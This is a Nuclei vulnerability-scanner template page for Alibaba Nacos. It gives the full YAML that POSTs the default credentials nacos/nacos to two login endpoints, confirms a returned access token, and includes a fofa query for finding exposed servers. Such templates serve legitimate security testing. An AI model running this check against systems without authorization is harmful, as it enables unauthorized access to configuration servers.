Alibaba Nacos - Default Login

ID: nacos-default-login

Severity: high

Author: SleepingBag945

Tags: nacos,default-login,alibaba

Description

The default username and password for Nacos are both nacos.

YAML Source

id: nacos-default-login

info:
  name: Alibaba Nacos - Default Login
  author: SleepingBag945
  severity: high
  description: |
    The default username and password for Nacos are both nacos.
  classification:
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alibaba
    product: nacos
    fofa-query: title=="Nacos"
  tags: nacos,default-login,alibaba

http:
  - raw:
      - |
        POST /v1/auth/users/login  HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /nacos/v1/auth/users/login  HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Nacos-Server
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - nacos
      password:
        - nacos
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken":'
          - '"username":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022030afa357f57cb8fdf4e6f3cab1ce476e5f03a9aa6db0283918d227efd3dcbbbc02202bca8c8ee71fed37a045f13720aded03f14ca74eef81e5d8de7d5b8c6ef7df7a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/nacos/nacos-default-login.yaml"

View on Github